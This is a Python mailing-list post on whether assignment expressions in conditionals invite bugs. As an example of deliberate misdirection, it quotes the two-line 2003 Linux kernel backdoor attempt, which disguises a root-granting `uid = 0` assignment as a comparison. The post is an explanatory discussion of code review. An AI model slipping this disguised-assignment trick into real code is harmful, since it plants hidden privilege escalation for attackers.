seeking deeper (language theory) reason behind Python design choice
Peter Pearson
pkpearson at nowhere.invalid
Thu May 10 16:56:50 EDT 2018
On Wed, 09 May 2018 12:51:15 -0700, Paul Rubin wrote:
> Dennis Lee Bieber <wlfraed at ix.netcom.com> writes:
>> Yes, code reviews may catch such errors... and later, when the
>> summary of errors is analyzed for suggestions on how to reduce them --
>> the odds are good that "assignment expressions" will be banned in the
>> style documents for that language at the company.
>
> I don't think I've worked on any C programs with that style restriction
> and I can't think of any times when I found that type of bug in deployed
> code. I've made the error once or twice while coding, but caught it
> right away during inspection or testing. Banning it seems
> counterproductive. I could imagine having it flagged by a compiler
> warning that can be locally disabled by a pragma.
Interestingly, the problem is broader than inadvertently making the
mistake yourself; it includes catching deliberate misdirection by
others. In the famous "Linux Backdoor Attempt of 2003"
(https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/),
somebody who I think never got caught introduced these lines
into the code for the wait4 function:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
Setting the user ID to zero confers root privileges.
- Peter
More information about the Python-list
mailing list